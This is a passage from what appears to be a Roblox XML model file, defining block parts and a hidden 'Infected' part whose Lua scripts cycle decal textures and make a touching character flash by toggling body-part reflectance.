							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX3">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>1.89958525</Y>
							<Z>34.5</Z>
							<R00>0</R00>
							<R01>-1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>-0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>3.89957309</Y>
							<Z>34.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX5">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>2</X>
								<Y>2</Y>
								<Z>2</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX6">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>2.89957714</Y>
							<Z>34.5</Z>
							<R00>0</R00>
							<R01>-1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>-0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX7">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>3.4000001</Y>
							<Z>32</Z>
							<R00>0</R00>
							<R01>-0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>-1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>-0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Infected</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">9</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX8">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX9">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">udcr5c0u3</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX10">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX11">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">iyfy2r</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX12">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX13">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">9sim</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX14">
						<Properties>
							<token name="Face">4</token>
							<string name="Name">Decal2</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX15">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ejg7aef</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="BlockMesh" referent="RBX16">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0</Y>
								<Z>5</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX17">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vh4np</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX18">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
